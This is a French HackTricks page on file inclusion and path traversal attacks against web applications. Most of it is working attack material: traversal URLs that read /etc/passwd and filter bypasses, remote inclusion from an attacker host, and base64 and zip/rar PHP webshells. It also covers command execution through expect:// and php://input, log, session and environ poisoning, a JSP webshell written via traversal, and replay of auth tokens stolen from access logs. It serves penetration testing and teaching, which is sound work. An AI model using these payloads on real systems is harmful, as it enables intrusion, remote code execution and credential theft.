File Inclusion/Path traversal
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
File Inclusion
Remote File Inclusion (RFI): Le fichier est chargé depuis un serveur distant (Idéal : vous pouvez écrire le code et le serveur l’exécutera). En php ceci est désactivé par défaut (allow_url_include).
Local File Inclusion (LFI): Le serveur charge un fichier local.
La vulnérabilité se produit lorsque l’utilisateur peut d’une manière ou d’une autre contrôler le fichier que le serveur va charger.
Fonctions PHP vulnérables : require, require_once, include, include_once
Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
*En mélangeant plusieurs listes nix LFI et en ajoutant d’autres chemins, j’ai créé celle-ci :
Essayez aussi de remplacer / par \
Essayez aussi d’ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) peut être trouvée ici
Windows
Fusion de différentes wordlists:
Essayez aussi de remplacer / par \
Essayez aussi de retirer C:/ et d’ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) peut être trouvée ici
OS X
Consultez la liste LFI de Linux.
LFI de base et contournements
Tous les exemples sont pour Local File Inclusion mais pourraient aussi être appliqués à Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences stripped non-recursively
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass l’ajout de caractères en fin de la chaîne fournie (bypass of: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Ceci est résolu depuis PHP 5.4
Encodage
Vous pouvez utiliser des encodages non standard comme double URL encode (et d’autres) :
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Les moteurs modernes HTML-to-PDF (p. ex. TCPDF ou des wrappers tels que html2pdf) analysent sans problème du HTML, SVG, CSS et des URL de polices fournis par un attaquant, et s’exécutent cependant à l’intérieur de réseaux backend de confiance avec accès au système de fichiers. Une fois que vous pouvez injecter du HTML dans $pdf->writeHTML()/Html2Pdf::writeHTML(), vous pouvez souvent exfiltrer des fichiers locaux que le compte du serveur web peut lire.
- Fingerprint the renderer: chaque PDF généré contient un champ
Producer(p. ex.TCPDF 6.8.2). Connaître la build exacte vous indique quels filtres de chemin existent et si le décodage URL s’effectue avant la validation. - Inline SVG payloads:
TCPDF::startSVGElementHandler()lit l’attributxlink:hrefdes éléments<image>avant d’exécuterurldecode(). Incorporer un SVG malveillant dans une data URI fait que de nombreux HTML sanitizers ignorent le payload tandis que TCPDF le parse toujours :
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF préfixe $_SERVER['DOCUMENT_ROOT'] aux chemins commençant par / et ne résout .. qu’ensuite, donc utilisez soit des segments initiaux ../../.., soit /../../.. pour sortir de la racine après le préfixe.
- Encodage pour contourner des filtres naïfs : Les versions ≤6.8.2 ne vérifient que la sous-chaîne littérale
../avant le décodage de l’URL. Envoyer..%2f(ou..%2F) dans le SVG ou dans un attribut<img src>brut contourne la vérification, car la séquence de traversée../n’est recréée qu’après que TCPDF appelleurldecode(). - Double-encodage pour décodage en plusieurs étapes : Si l’entrée utilisateur est décodée par le framework web et par TCPDF, double-encodez la barre oblique (
%252f). Un décodage la transforme en%2f, le second décodage dans TCPDF la transforme en/, produisant/..%252f..%252f..→/../../../…sans jamais afficher../au filtre précoce. - Gestionnaire HTML
<img>:TCPDF::openHTMLTagHandler()contient le même bug d’ordre d’opérations, permettant des payloads HTML directs tels quesrc="%2f..%252f..%252ftmp%252fsecret.png"pour lire n’importe quel bitmap localement accessible.
Cette technique leaks tout ce qui est lisible par le PDF worker (scans de passeport, clés API rendues en images, etc.). Les hardeners l’ont corrigée dans la version 6.9.1 en canonisant les chemins (isRelativePath()), donc lors des tests privilégiez les versions Producer plus anciennes.
Depuis un dossier existant
Il se peut que le back-end vérifie le chemin du dossier :
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Explorer les répertoires du système de fichiers sur un serveur
Le système de fichiers d’un serveur peut être exploré de manière récursive pour identifier des répertoires, pas seulement des fichiers, en utilisant certaines techniques. Ce processus consiste à déterminer la profondeur des répertoires et à sonder l’existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
- Déterminer la profondeur des répertoires : Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier
/etc/passwd(applicable si le serveur est basé sur Linux). Un exemple d’URL peut être structuré comme suit, indiquant une profondeur de trois :
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Probe for Folders: Ajoutez le nom du dossier suspect (par ex.,
private) à l’URL, puis revenez à/etc/passwd. Le niveau de répertoire supplémentaire nécessite d’augmenter la profondeur d’un niveau :
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interprétez les résultats : La réponse du serveur indique si le dossier existe :
- Erreur / Pas de sortie : Le dossier
privaten’existe probablement pas à l’emplacement spécifié. - Contenu de
/etc/passwd: La présence du dossierprivateest confirmée.
- Exploration récursive : Les dossiers découverts peuvent être sondés plus en profondeur pour des sous-répertoires ou des fichiers en utilisant la même technique ou les méthodes traditionnelles de Local File Inclusion (LFI).
Pour explorer des répertoires à différents emplacements du système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si /var/www/ contient un répertoire private (en supposant que le répertoire courant est à une profondeur de 3), utilisez :
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation est une méthode utilisée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent employée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins. L’objectif est de construire un chemin de fichier qui, une fois altéré par la mesure de sécurité, pointe toujours vers le fichier souhaité.
En PHP, différentes représentations d’un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple:
/etc/passwd,/etc//passwd,/etc/./passwd, and/etc/passwd/are all treated as the same path.- Lorsque les 6 derniers caractères sont
passwd, ajouter un/(ce qui donnepasswd/) ne change pas le fichier ciblé. - De même, si
.phpest ajouté à un chemin de fichier (commeshellcode.php), ajouter un/.à la fin n’altérera pas le fichier accédé.
Les exemples fournis montrent comment utiliser path truncation pour accéder à /etc/passwd, une cible fréquente en raison de son contenu sensible (informations relatives aux comptes utilisateurs) :
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Dans ces scénarios, le nombre de traversals nécessaires peut être d’environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.
- Using Dot Segments and Additional Characters : Les sequences de traversal (
../) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur. - Determining the Required Number of Traversals : Par essais et erreurs, on peut trouver le nombre précis de séquences
../nécessaires pour atteindre la racine puis/etc/passwd, en s’assurant que toute chaîne ajoutée (comme.php) est neutralisée mais que le chemin désiré (/etc/passwd) reste intact. - Starting with a Fake Directory : Il est courant de commencer le chemin par un répertoire non existant (comme
a/). Cette technique est utilisée comme mesure de précaution ou pour satisfaire les exigences de la logique d’analyse des chemins du serveur.
When employing path truncation techniques, it’s crucial to understand the server’s path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
Cette vulnérabilité a été corrigée dans PHP 5.3.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
Dans php ceci est désactivé par défaut car allow_url_include est Off. Il doit être On pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Si, pour une raison quelconque, allow_url_include est activé, mais que PHP filtre l’accès aux pages web externes, selon ce post, vous pouvez par exemple utiliser le protocole data avec base64 pour décoder un code PHP b64 et obtenir RCE :
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
Dans le code précédent, le
+.txtfinal a été ajouté parce que l’attaquant avait besoin d’une chaîne se terminant par.txt, donc la chaîne se termine par cela et après le b64 decode cette partie ne renverra que des données inutiles et le vrai code PHP sera inclus (et donc exécuté).
Un autre exemple n’utilisant pas le protocole php:// serait :
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Élément racine
En Python, dans un code comme celui-ci :
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Si l’utilisateur passe un absolute path à file_name, le chemin précédent est simplement supprimé :
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
C’est le comportement prévu selon the docs:
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
Java : lister les répertoires
Il semble que si vous avez un Path Traversal en Java et que vous demandez un répertoire au lieu d’un fichier, un listing du répertoire est renvoyé. Cela ne se produit pas dans d’autres langages (afaik).
Top 25 paramètres
Voici la liste des 25 principaux paramètres qui pourraient être vulnérables à local file inclusion (LFI) (source : link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI utilisant les wrappers & protocoles PHP
php://filter
Les filtres PHP permettent d’effectuer des opérations de modification sur les données avant qu’elles ne soient lues ou écrites. Il existe 5 catégories de filtres :
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Supprime les balises des données (tout ce qui se trouve entre les caractères “<” et “>”)- Notez que ce filtre a disparu des versions modernes de PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Transforme vers un encodage différent (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de tous les encodages supportés, exécutez dans la console :iconv -l
Warning
En abusant du filtre de conversion
convert.iconv.*vous pouvez générer du texte arbitraire, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu’une fonction comme include traite du texte arbitraire. Pour plus d’infos check LFI2RCE via php filters.
- Compression Filters
zlib.deflate: Compresse le contenu (utile si vous exfiltrez beaucoup d’informations)zlib.inflate: Décompresse les données- Encryption Filters
mcrypt.*: Obsolètemdecrypt.*: Obsolète- Other Filters
- En exécutant dans php
var_dump(stream_get_filters());vous pouvez trouver quelques filtres inattendus : consumeddechunk: inverse l’encodage HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
La partie “php://filter” est insensible à la casse
Using php filters as oracle to read arbitrary files
In this post est proposée une technique pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique est basée sur une boolean exfiltration of the file (char by char) using php filters comme oracle. Ceci parce que php filters peuvent être utilisés pour rendre un texte suffisamment long pour provoquer une exception php.
Dans l’article original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :
- Utilisez le codec
UCS-4LEpour laisser le caractère initial du texte au début et faire augmenter la taille de la chaîne de façon exponentielle. - Ceci sera utilisé pour générer un texte tellement grand lorsque la lettre initiale est devinée correctement que php déclenchera une erreur
- Le filtre dechunk supprimera tout si le premier char n’est pas un hexadecimal, ainsi nous pouvons savoir si le premier char est hex.
- Cela, combiné avec le précédent (et d’autres filters selon la lettre devinée), permettra de deviner une lettre au beginning du texte en observant quand nous appliquons suffisamment de transformations pour la faire sortir de la plage hexadécimale. Parce que si hex, dechunk ne la supprimera pas et la bombe initiale provoquera une erreur php.
- Le codec convert.iconv.UNICODE.CP930 transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un
apar exemple, car si nous appliquons 6 fois ce codec a->b->c->d->e->f->g la lettre n’est plus un caractère hexadecimal, donc dechunk ne la supprime pas et l’erreur php est déclenchée car elle se multiplie avec la bombe initiale. - En utilisant d’autres transformations comme rot13 au début, il est possible de leak d’autres chars comme n, o, p, q, r (et d’autres codecs peuvent être utilisés pour déplacer d’autres lettres dans la plage hex).
- Quand le premier char est un nombre il est nécessaire de l’encoder en base64 et de leak les 2 premières lettres pour leak le nombre.
- Le problème final est de voir comment leak plus que la lettre initiale. En utilisant des filtres d’ordre mémoire comme convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE il est possible de changer l’ordre des chars et d’amener en première position d’autres lettres du texte.
- Et afin de pouvoir obtenir further data l’idée est de générer 2 bytes de junk data at the beginning avec convert.iconv.UTF16.UTF16, appliquer UCS-4LE pour le faire pivot with the next 2 bytes, et delete the data until the junk data (cela supprimera les 2 premiers bytes du texte initial). Continuez ainsi jusqu’à atteindre le bit désiré à leak.
Dans l’article un outil pour effectuer cela automatiquement a également été leaked : php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Vous pouvez également utiliser php://stdin, php://stdout and php://stderr pour accéder aux descripteurs de fichier 0, 1 et 2 respectivement (je ne vois pas trop comment cela pourrait être utile dans une attaque)
zip:// and rar://
Téléversez un fichier Zip ou Rar contenant un PHPShell et accédez-y.
Pour pouvoir abuser du rar protocol, il doit être activé spécifiquement.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include
expect://
Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci :
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Spécifiez votre payload dans les paramètres POST :
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un fichier .phar peut être utilisé pour exécuter du code PHP lorsqu’une application web utilise des fonctions telles que include pour le chargement de fichiers. L’extrait de code PHP ci-dessous montre la création d’un fichier .phar :
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Pour compiler le fichier .phar, la commande suivante doit être exécutée :
php --define phar.readonly=0 create_path.php
À l’exécution, un fichier nommé test.phar sera créé, qui pourrait potentiellement être utilisé pour exploiter des vulnérabilités de Local File Inclusion (LFI).
Dans les cas où le LFI ne fait que lire des fichiers sans exécuter le code PHP à l’intérieur, via des fonctions telles que file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() ou filesize(), on peut tenter d’exploiter une vulnérabilité de désérialisation. Cette vulnérabilité est associée à la lecture de fichiers en utilisant le protocole phar.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
Il était possible d’abuser de any arbitrary file read from PHP that supports php filters pour obtenir une RCE. The detailed description can be found in this post.
Très bref résumé : un 3 byte overflow dans le heap PHP a été exploité pour alter the chain of free chunks d’une taille spécifique afin de pouvoir write anything in any address, si bien qu’un hook a été ajouté pour appeler system.
Il a été possible d’allouer des chunks de tailles spécifiques en abusant de davantage de php filters.
Autres protocoles
Consultez davantage de protocols to include here:
- php://memory and php://temp — Écrire en mémoire ou dans un fichier temporaire (not sure how this can be useful in a file inclusion attack)
- file:// — Accès au système de fichiers local
- http:// — Accès aux URLs HTTP(s)
- ftp:// — Accès aux URLs FTP(s)
- zlib:// — Flux de compression
- glob:// — Trouver des chemins correspondant à un motif (Cela ne renvoie rien d’imprimable, donc pas vraiment utile ici)
- ssh2:// — Secure Shell 2
- ogg:// — Flux audio (Not useful to read arbitrary files)
LFI via la fonction ‘assert’ de PHP
Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lors de l’utilisation de la fonction ‘assert’, qui peut exécuter du code contenu dans des chaînes. Cela est particulièrement problématique si une entrée contenant des caractères de directory traversal comme “..” est vérifiée mais pas correctement assainie.
Par exemple, du code PHP pourrait être conçu pour empêcher directory traversal comme suit :
assert("strpos('$file', '..') === false") or die("");
Bien que cela vise à empêcher la traversal, cela crée involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu de fichiers, un attaquant pourrait utiliser :
' and die(highlight_file('/etc/passwd')) or '
De même, pour exécuter des commandes système arbitraires, on peut utiliser :
' and die(system("id")) or '
Il est important d’URL-encoder ces payloads.
PHP Blind Path Traversal
Warning
Cette technique est pertinente dans les cas où vous contrôlez le file path d’une PHP function qui access a file mais dont vous ne verrez pas le contenu (comme un simple appel à
file()) et où le contenu n’est pas affiché.
Dans this incredible post il est expliqué comment un blind path traversal peut être abusé via PHP filter pour exfiltrate the content of a file via an error oracle.
En résumé, la technique utilise l’encodage “UCS-4LE” pour rendre le contenu d’un fichier tellement volumineux que la PHP function opening le fichier déclenchera une erreur.
Ensuite, pour leak le premier char le filter dechunk est utilisé avec d’autres tels que base64 ou rot13 et enfin les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d’autres chars au beginning et les leak.
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Identifier un write primitive dans un endpoint ou background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Déterminer les répertoires exposés au web. Exemples courants :
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Construire un traversal path qui s’échappe du répertoire de stockage prévu vers le webroot, et inclure le contenu de votre webshell.
- Accéder via navigateur au payload placé et exécuter des commandes.
Notes:
- Le service vulnérable qui effectue l’écriture peut écouter sur un port non-HTTP (par ex., un JMF XML listener sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
- Sur les stacks Java, ces écritures de fichiers sont souvent implémentées avec une simple concaténation
File/Paths. L’absence de canonicalisation/allow-listing est la faille principale.
Exemple générique de style XML/JMF (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Mesures de durcissement qui neutralisent cette classe de failles :
- Résoudre vers un chemin canonique et vérifier qu’il est un descendant d’un répertoire de base sur liste blanche.
- Refuser tout chemin contenant
.., des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés. - Exécuter le processus d’écriture avec un compte peu privilégié et séparer les répertoires d’écriture des racines servies.
Remote File Inclusion
Expliqué précédemment, follow this link.
Via Apache/Nginx log file
Si le serveur Apache ou Nginx est vulnérable à LFI dans la fonction include, vous pouvez essayer d’accéder à /var/log/apache2/access.log or /var/log/nginx/access.log, d’écrire dans le user agent ou dans un GET parameter une php shell comme <?php system($_GET['c']); ?> et d’inclure ce fichier
Warning
Notez que si vous utilisez des double quotes pour le shell au lieu de simple quotes, les double quotes seront modifiées en la chaîne “quote;”, PHP déclenchera une erreur à cet endroit et rien d’autre ne sera exécuté.
Assurez-vous également d’écrire correctement le payload sinon PHP renverra une erreur à chaque tentative de chargement du fichier de logs et vous n’aurez pas de seconde opportunité.
Cela peut aussi être fait dans d’autres logs mais faites attention, le code à l’intérieur des logs peut être encodé en URL et cela peut casser le Shell. Le header authorisation “basic” contient “user:password” en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet header.
Autres chemins de logs possibles:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Lire les access logs pour récupérer des auth tokens basés sur GET (token replay)
Beaucoup d’apps acceptent par erreur des session/auth tokens via GET (e.g., AuthenticationToken, token, sid). Si vous disposez d’un path traversal/LFI dans les logs du web server, vous pouvez voler ces tokens depuis les access logs et les replay pour bypasser complètement l’authentication.
How-to:
- Use the traversal/LFI to read the web server access log. Common locations:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
- Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Décoder le body s’il est en Base64, puis rejouer un token capturé :
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Remarques :
- Tokens dans les URLs sont enregistrés par défaut ; n’acceptez jamais de bearer tokens via GET sur des systèmes de production.
- Si l’app supporte plusieurs noms de token, recherchez des clés communes comme AuthenticationToken, token, sid, access_token.
- Renouvelez tous les tokens qui ont pu leaked dans les logs.
Par e-mail
Envoyez un mail à un compte interne (user@localhost) contenant votre payload PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayez de l’inclure dans le mail de l’utilisateur avec un chemin comme /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>
Via /proc//fd/
- Téléversez beaucoup de shells (par exemple : 100)
- Inclure http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut être forcé par brute force) et $FD le descripteur de fichier (peut aussi être forcé par brute force)
Via /proc/self/environ
Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflété à l’intérieur du fichier /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : <?php system($_GET['c']); ?>).
http://example.com/index.php?page=path/to/uploaded/file.png
Pour que le fichier reste lisible, il est préférable d’injecter dans les métadonnées des images/doc/pdf
Par téléversement d’un fichier ZIP
Téléversez un fichier ZIP contenant un shell PHP compressé et accédez à :
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Par les sessions PHP
Vérifiez si le site utilise les sessions PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
En PHP, ces sessions sont stockées dans les fichiers /var/lib/php5/sess\[PHPSESSID]_.
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Définissez le cookie sur <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Utiliser la LFI pour inclure le fichier de session PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d’accéder à <HOME>/.ssh/id_rsa
Via vsftpd logs
Les logs du serveur FTP vsftpd se trouvent à /var/log/vsftpd.log. Dans le cas où une vulnérabilité Local File Inclusion (LFI) existe et qu’un accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
- Injectez un payload PHP dans le champ username lors du processus de login.
- Après l’injection, utilisez la LFI pour récupérer les logs du serveur depuis /var/log/vsftpd.log.
Via php base64 filter (using base64)
As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with “.php”, and it would just ignore the “.” and append “php” to the base64. Here is an example payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
This writeup explique que vous pouvez utiliser php filters pour générer du contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez générer du code php arbitraire pour l’include sans avoir besoin de l’écrire dans un fichier.
Via segmentation fault
Téléversez un fichier qui sera stocké temporairement dans /tmp, puis, dans la même requête, provoquez une erreur de segmentation ; le fichier temporaire ne sera alors pas supprimé et vous pourrez le retrouver.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Si vous trouvez une Local File Inclusion et que Nginx est placé devant PHP, vous pourriez obtenir RCE avec la technique suivante :
Via PHP_SESSION_UPLOAD_PROGRESS
